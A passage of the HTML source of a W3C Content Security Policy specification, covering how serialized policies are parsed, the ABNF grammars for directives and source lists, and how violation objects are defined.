associated <dfn data-dfn-for=\"policy\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy-directive-set\">directive set<a class=\"self-link\" href=\"#policy-directive-set\"></a></dfn>, which\n  is a set of <a data-link-type=\"dfn\" href=\"#directives\">directives</a> that define the policy’s implications when\n  applied.</p>\n    <p>Each policy has an associated <dfn data-dfn-for=\"policy\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"policy-disposition\">disposition<a class=\"self-link\" href=\"#policy-disposition\"></a></dfn>, which is\n  either \"<code>enforce</code>\" or \"<code>report</code>\".</p>\n    <p>A <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"serialized-csp\">serialized CSP<a class=\"self-link\" href=\"#serialized-csp\"></a></dfn> is an ASCII string, consisting of a\n  semicolon-delimited series of <a data-link-type=\"dfn\" href=\"#serialized-directive\">serialized directives</a>, adhering to the\n  following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-policy\">serialized-policy<a class=\"self-link\" href=\"#grammardef-serialized-policy\"></a></dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-directive\">serialized-directive</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">OWS</a> \";\" [ <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">OWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-serialized-directive\">serialized-directive</a> ] )\n                    ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">OWS</a> is defined in section 3.2.3 of RFC 7230\n</pre>\n    <h4 class=\"heading settled\" data-algorithm=\"Parse a serialized CSP as disposition\" data-dfn-type=\"dfn\" data-level=\"2.1.1\" data-lt=\"parse a serialized CSP\" data-noexport=\"\" id=\"parse-serialized-policy\"><span class=\"secno\">2.1.1. </span><span class=\"content\"> Parse a <var>serialized CSP</var> as <var>disposition</var> </span><a class=\"self-link\" href=\"#parse-serialized-policy\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a> (<var>serialized CSP</var>), and a <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> (<var>disposition</var>), this algorithm will return a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> object. If the string cannot be parsed, the resulting <a data-link-type=\"dfn\" href=\"#policy\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a> will be empty.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>policy</var> be a new <a data-link-type=\"dfn\" href=\"#policy\">policy</a> with an empty <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a>, and a <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> of <var>disposition</var>.</p>\n     <li data-md=\"\">\n      <p>For each <var>token</var> returned by <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strictly-split-a-string\">strictly splitting</a> <var>serialized\n  CSP</var> on the U+003B SEMICOLON character (<code>;</code>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from <var>token</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>token</var> is an empty string, skip the remaining substeps\n  and continue to the next item.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive name</var> be the result of <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#collect-a-sequence-of-characters\">collecting a sequence of\n  characters</a> from <var>token</var> which are not <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#space-characters\">space\n  characters</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> is <var>directive\n  name</var>, skip the remaining substeps and continue to the next item.</p>\n        <p>The user agent SHOULD notify developers that a directive was ignored.\n  A console warning might be appropriate, for example.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive value</var> be the result of <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>token</var> on\n  spaces</a>.</p>\n       <li data-md=\"\">\n        <p>Let <var>directive</var> be a new <a data-link-type=\"dfn\" href=\"#directives\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> is <var>directive name</var>, and <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is <var>directive value</var>.</p>\n       <li data-md=\"\">\n        <p>Add <var>directive</var> to <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>policy</var>.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-algorithm=\"Parse a serialized CSP list as disposition\" data-level=\"2.1.2\" id=\"parse-serialized-policy-list\"><span class=\"secno\">2.1.2. </span><span class=\"content\"> Parse a serialized CSP <var>list</var> as <var>disposition</var> </span><a class=\"self-link\" href=\"#parse-serialized-policy-list\"></a></h4>\n    <p>Given a string (<var>list</var>) and a <a data-link-type=\"dfn\" href=\"#policy-disposition\">disposition</a> (<var>disposition</var>)\n  which contains a comma-delimited series of <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a> strings, the\n  following algorithm will return a list of <a data-link-type=\"dfn\" href=\"#policy\">policies</a>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>policies</var> be an empty list.</p>\n     <li data-md=\"\">\n      <p>For each <var>token</var> returned by <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-commas\">splitting <var>list</var> on commas</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>policy</var> be the result of executing <a href=\"#parse-serialized-policy\">§2.1.1 Parse a serialized CSP as disposition</a> on <var>token</var> with <var>disposition</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive set</a> is empty, skip the\n  remaining substeps, and continue to the next item.</p>\n       <li data-md=\"\">\n        <p>Add <var>policy</var> to <var>policies</var>.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>policies</var>.</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"framework-directives\"><span class=\"secno\">2.2. </span><span class=\"content\">Directives</span><a class=\"self-link\" href=\"#framework-directives\"></a></h3>\n    <p><a data-link-type=\"dfn\" href=\"#policy\">Policies</a> contain a set of <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directives\">directives<a class=\"self-link\" href=\"#directives\"></a></dfn>, each of which controls\n  a specific behavior. The directives defined in this document are described in\n  detail in <a href=\"#csp-directives\">§6 Content Security Policy Directives</a>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#directives\">directive</a> is a <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-name\">name<a class=\"self-link\" href=\"#directive-name\"></a></dfn> / <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-value\">value<a class=\"self-link\" href=\"#directive-value\"></a></dfn> pair. The <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> is a\n  non-empty string, and the <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is a set of non-empty strings. The <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> set MAY be empty.</p>\n    <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"serialized-directive\">serialized directive<a class=\"self-link\" href=\"#serialized-directive\"></a></dfn> is an ASCII string, consisting of one or more\n  whitespace-delimited tokens, and adhering to the following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-directive\">serialized-directive<a class=\"self-link\" href=\"#grammardef-serialized-directive\"></a></dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-directive-name\">directive-name</a> [ <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-directive-value\">directive-value</a> ]\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-directive-name\">directive-name<a class=\"self-link\" href=\"#grammardef-directive-name\"></a></dfn>       = 1*( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">DIGIT</a> / \"-\" )\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-directive-value\">directive-value<a class=\"self-link\" href=\"#grammardef-directive-value\"></a></dfn>      = *( %x09 / %x20-%x2B / %x2D-%x3A / %x3C-%7E )\n                       ; Directive values may contain whitespace and <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">VCHAR</a> characters,\n                       ; excluding \";\" and \",\"\n\n; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> is defined in section 3.2.3 of RFC7230. <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">ALPHA</a>, <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">DIGIT</a>, and\n; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">VCHAR</a> are defined in Appendix B.1 of RFC 5234.\n</pre>\n    <p><a data-link-type=\"dfn\" href=\"#directives\">Directives</a> have five associated algorithms:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>A <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-pre-request-check\">pre-request check<a class=\"self-link\" href=\"#directive-pre-request-check\"></a></dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> as an argument, and is executed during <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a>. This algorithm returns \"<code>Allowed</code>\" unless\n  otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-post-request-check\">post-request check<a class=\"self-link\" href=\"#directive-post-request-check\"></a></dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>, and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> as arguments, and\n  is executed during <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>. This algorithm returns\n  \"<code>Allowed</code>\" unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>A <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-response-check\">response check<a class=\"self-link\" href=\"#directive-response-check\"></a></dfn>, which takes a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>, and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> as arguments, and\n  is executed during <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a>. This algorithm returns\n  \"<code>Allowed</code>\" unless otherwise specified.</p>\n     <li data-md=\"\">\n      <p>An <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-inline-check\">inline check<a class=\"self-link\" href=\"#directive-inline-check\"></a></dfn>, which takes an <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-element\">Element</a></code> and\n  a type string as arguments, and is executed during <a href=\"#should-block-inline\">§4.2.3 Should element’s inline type behavior be blocked by Content Security Policy?</a>. This algorithm returns \"<code>Allowed</code>\" unless\n  otherwise specified.</p>\n     <li data-md=\"\">\n      <p>An <dfn data-dfn-for=\"directive\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"directive-initialization\">initialization<a class=\"self-link\" href=\"#directive-initialization\"></a></dfn>, which takes a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#document\">Document</a></code> or <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>, a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a>, and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> as\n  arguments. This algorithm is executed during <a href=\"#initialize-document-csp\">§4.2.1 Initialize a Document's CSP list</a>,\n  and has no effect unless otherwise specified.</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"2.2.1\" id=\"framework-directive-source-list\"><span class=\"secno\">2.2.1. </span><span class=\"content\">Source Lists</span><a class=\"self-link\" href=\"#framework-directive-source-list\"></a></h4>\n    <p>Many <a data-link-type=\"dfn\" href=\"#directives\">directives</a>' <a data-link-type=\"dfn\" href=\"#directive-value\">values</a> consist of <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-lists\">source lists<a class=\"self-link\" href=\"#source-lists\"></a></dfn>: sets\n  of tokens which identify content that can be fetched and potentially embedded\n  or executed. These tokens represent one of the following types of <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"source-expression\">source\n  expression<a class=\"self-link\" href=\"#source-expression\"></a></dfn>:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Keywords such as <a data-link-type=\"grammar\" href=\"#grammardef-none\"><code>'none'</code></a> and <a data-link-type=\"grammar\" href=\"#grammardef-self\"><code>'self'</code></a> (which match nothing and the current\n  URL’s origin, respectively)</p>\n     <li data-md=\"\">\n      <p>Serialized URLs such as <code>https://example.com/path/to/file.js</code> (which matches a specific file) or <code>https://example.com/</code> (which matches everything on that origin)</p>\n     <li data-md=\"\">\n      <p>Schemes such as <code>https:</code> (which matches any resource having\n  the specified scheme)</p>\n     <li data-md=\"\">\n      <p>Hosts such as <code>example.com</code> (which matches any resource on\n  the host, regardless of scheme) or <code>*.example.com</code> (which\n  matches any resource on the host or any of its subdomains (and any of\n  its subdomains' subdomains, and so on))</p>\n     <li data-md=\"\">\n      <p>Nonces such as <code>'nonce-qwertyu12345'</code> (which can match specific\n  elements on a page)</p>\n     <li data-md=\"\">\n      <p>Digests such as <code>'sha256-abcd...'</code> (which can match specific\n  elements on a page)</p>\n    </ol>\n    <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"serialized-source-list\">serialized source list<a class=\"self-link\" href=\"#serialized-source-list\"></a></dfn> is an ASCII string, consisting of a\n  space-delimited series of <a data-link-type=\"dfn\" href=\"#source-expression\">source expressions</a>, adhering to the\n  following ABNF grammar <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre><dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-serialized-source-list\">serialized-source-list<a class=\"self-link\" href=\"#grammardef-serialized-source-list\"></a></dfn> = ( <a data-link-type=\"grammar\" href=\"#grammardef-source-expression\">source-expression</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-source-expression\">source-expression</a> ) ) / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-none\">'none'<a class=\"self-link\" href=\"#grammardef-none\"></a></dfn>\"\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-source-expression\">source-expression<a class=\"self-link\" href=\"#grammardef-source-expression\"></a></dfn>      = <a data-link-type=\"grammar\" href=\"#grammardef-scheme-source\">scheme-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-host-source\">host-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-keyword-source\">keyword-source</a>\n                         / <a data-link-type=\"grammar\" href=\"#grammardef-nonce-source\">nonce-source</a> / <a data-link-type=\"grammar\" href=\"#grammardef-hash-source\">hash-source</a>\n\n; Schemes:\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-scheme-source\">scheme-source<a class=\"self-link\" href=\"#grammardef-scheme-source\"></a></dfn> = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">scheme</a> \":\"\n                ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">scheme</a> is defined in section 3.1 of RFC 3986.\n\n; Hosts: \"example.com\" / \"*.example.com\" / \"https://*.example.com:12/path/to/file.js\"\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-source\">host-source<a class=\"self-link\" href=\"#grammardef-host-source\"></a></dfn> = [ <a data-link-type=\"grammar\" href=\"#grammardef-scheme-part\">scheme-part</a> \"://\" ] <a data-link-type=\"grammar\" href=\"#grammardef-host-part\">host-part</a> [ <a data-link-type=\"grammar\" href=\"#grammardef-port-part\">port-part</a> ] [ <a data-link-type=\"grammar\" href=\"#grammardef-path-part\">path-part</a> ]\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-scheme-part\">scheme-part<a class=\"self-link\" href=\"#grammardef-scheme-part\"></a></dfn> = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">scheme</a>\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-part\">host-part<a class=\"self-link\" href=\"#grammardef-host-part\"></a></dfn>   = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"grammar\" href=\"#grammardef-host-char\">host-char</a> *( \".\" 1*<a data-link-type=\"grammar\" href=\"#grammardef-host-char\">host-char</a> )\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-host-char\">host-char<a class=\"self-link\" href=\"#grammardef-host-char\"></a></dfn>   = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">DIGIT</a> / \"-\"\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-port-part\">port-part<a class=\"self-link\" href=\"#grammardef-port-part\"></a></dfn>   = \":\" ( 1*<a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">DIGIT</a> / \"*\" )\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-path-part\">path-part<a class=\"self-link\" href=\"#grammardef-path-part\"></a></dfn>   = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">path</a>\n              ; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">path</a> is defined in section 3.3 of RFC 3986.\n   \n; Keywords:\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-keyword-source\">keyword-source<a class=\"self-link\" href=\"#grammardef-keyword-source\"></a></dfn> = \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-self\">'self'<a class=\"self-link\" href=\"#grammardef-self\"></a></dfn>\" / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-unsafe-inline\">'unsafe-inline'<a class=\"self-link\" href=\"#grammardef-unsafe-inline\"></a></dfn>\" / \"<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-unsafe-eval\">'unsafe-eval'<a class=\"self-link\" href=\"#grammardef-unsafe-eval\"></a></dfn>\" \n\n; Nonces: 'nonce-[nonce goes here]'\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-nonce-source\">nonce-source<a class=\"self-link\" href=\"#grammardef-nonce-source\"></a></dfn>  = \"'nonce-\" <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\">base64-value</a> \"'\"\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-base64-value\">base64-value<a class=\"self-link\" href=\"#grammardef-base64-value\"></a></dfn>  = 1*( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">ALPHA</a> / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc5234#appendix-B.1\">DIGIT</a> / \"+\" / \"/\" / \"-\" / \"_\" )*2( \"=\" ) \n\n; Digests: 'sha256-[digest goes here]'\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-hash-source\">hash-source<a class=\"self-link\" href=\"#grammardef-hash-source\"></a></dfn>    = \"'\" <a data-link-type=\"grammar\" href=\"#grammardef-hash-algorithm\">hash-algorithm</a> \"-\" <a data-link-type=\"grammar\" href=\"#grammardef-base64-value\">base64-value</a> \"'\"\n<dfn data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-hash-algorithm\">hash-algorithm<a class=\"self-link\" href=\"#grammardef-hash-algorithm\"></a></dfn> = \"sha256\" / \"sha384\" / \"sha512\"\n</pre>\n    <p>The <a data-link-type=\"grammar\" href=\"#grammardef-host-char\">host-char</a> production intentionally contains only ASCII\n  characters; internationalized domain names cannot be entered directly as part\n  of a <a data-link-type=\"dfn\" href=\"#serialized-csp\">serialized CSP</a>, but instead MUST be Punycode-encoded <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> MUST be represented as <code>xn--tdaaaaaa.de</code>.</p>\n    <p class=\"note\" role=\"note\">Note: Though IP address do match the grammar above, only <code>127.0.0.1</code> will actually match a URL when used in a source\n  expression (see <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> for details). The security\n  properties of IP addresses are suspect, and authors ought to prefer hostnames\n  whenever possible.</p>\n    <p>A <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code> <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"matches-a-source-list\">matches a source list<a class=\"self-link\" href=\"#matches-a-source-list\"></a></dfn> if the algorithm in <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> returns <code>Matches</code>.</p>\n    <h3 class=\"heading settled\" data-level=\"2.3\" id=\"framework-violation\"><span class=\"secno\">2.3. </span><span class=\"content\">Violations</span><a class=\"self-link\" href=\"#framework-violation\"></a></h3>\n    <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation\">violation<a class=\"self-link\" href=\"#violation\"></a></dfn> represents an action or resource which goes against the <a data-link-type=\"dfn\" href=\"#policy\">policies</a> associated with a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-global-object\">global object<a class=\"self-link\" href=\"#violation-global-object\"></a></dfn>, which\n  is the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a> whose <a data-link-type=\"dfn\" href=\"#policy\">policy</a> has been violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-url\">url<a class=\"self-link\" href=\"#violation-url\"></a></dfn> which is its <a data-link-type=\"dfn\" href=\"#violation-global-object\">global object</a>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-status\">status<a class=\"self-link\" href=\"#violation-status\"></a></dfn> which is a\n  non-negative integer representing the HTTP status code of the resource for\n  which the global object was instantiated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-resource\">resource<a class=\"self-link\" href=\"#violation-resource\"></a></dfn>, which is\n  either <code>null</code>, \"<code>inline</code>\", \"<code>eval</code>\", or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code>. It represents the resource\n  which violated the policy.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-referrer\">referrer<a class=\"self-link\" href=\"#violation-referrer\"></a></dfn>, which is either <code>null</code>, or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code>. It represents the referrer of the resource whose policy\n  was violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-policy\">policy<a class=\"self-link\" href=\"#violation-policy\"></a></dfn>, which is the <a data-link-type=\"dfn\" href=\"#policy\">policy</a> that has been violated.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has an <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-effective-directive\">effective directive<a class=\"self-link\" href=\"#violation-effective-directive\"></a></dfn> which is a non-empty string representing the <a data-link-type=\"dfn\" href=\"#directives\">directive</a> whose\n  enforcement caused the violation.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-source-file\">source file<a class=\"self-link\" href=\"#violation-source-file\"></a></dfn>, which is\n  either <code>null</code> or a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\">URL</a></code>.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-line-number\">line number<a class=\"self-link\" href=\"#violation-line-number\"></a></dfn>, which is\n  a non-negative integer.</p>\n    <p>Each <a data-link-type=\"dfn\" href=\"#violation\">violation</a> has a <dfn data-dfn-for=\"violation\" data-dfn-type=\"dfn\" data-noexport=\"\" id=\"violation-column-number\">column number<a class=\"self-link\" href=\"#violation-column-number\"></a></dfn>, which\n  is a non-negative integer.</p>\n    <h4 class=\"heading settled\" data-algorithm=\"Create a violation object for global, policy, and directive\" data-level=\"2.3.1\" id=\"create-violation-for-global\"><span class=\"secno\">2.3.1. </span><span class=\"content\"> Create a violation object for <var>global</var>, <var>policy</var>, and <var>directive</var> </span><a class=\"self-link\" href=\"#create-violation-for-global\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#global-object\">global object</a> (<var>global</var>), a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>), and a\n  string (<var>directive</var>), the following algorithm creates a new <a data-link-type=\"dfn\" href=\"#violation\">violation</a> object, and populates it with an initial set of data:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violation</var> be a new <a data-link-type=\"dfn\" href=\"#violation\">violation</a> whose <a data-link-type=\"dfn\" href=\"#violation-global-object\">global\n  object</a> is <var>global</var>, <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a> is <var>policy</var>, <a data-link-type=\"dfn\" href=\"#violation-effective-directive\">effective directive</a> is <var>directive</var>, and <a data-link-type=\"dfn\" href=\"#violation-resource\">resource</a> is <code>null</code>.</p>\n     <li data-md=\"\">\n      <p>If the user agent is currently executing script, and can extract a source\n  file’s URL, line number, and column number from the <var>global</var>, set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-source-file\">source file</a>, <a data-link-type=\"dfn\" href=\"#violation-line-number\">line\n  number</a>, and <a data-link-type=\"dfn\" href=\"#violation-column-number\">column number</a> accordingly.</p>\n      <p class=\"issue\" id=\"issue-f447ede5\"><a class=\"self-link\" href=\"#issue-f447ede5\"></a> Is this kind of thing specified anywhere? I didn’t see anything\n  that looked useful in <a data-link-type=\"biblio\" href=\"#biblio-es2015\">[ES2015]</a>.</p>\n     <li data-md=\"\">\n      <p>If <var>global</var> is a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/browsers.html#dom-window\">Window</a></code> object, set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-referrer\">referrer</a> to <var>global</var>’s <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/browsers.html#dom-document-2\">document</a></code>'s <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/html5/dom.html#dom-document-referrer\">referrer</a></code>.</p>\n     <li data-md=\"\">\n      <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-status\">status</a> to the HTTP status code\n  for the resource associated with <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\">global\n  object</a>.</p>\n      <p class=\"issue\" id=\"issue-99576800\"><a class=\"self-link\" 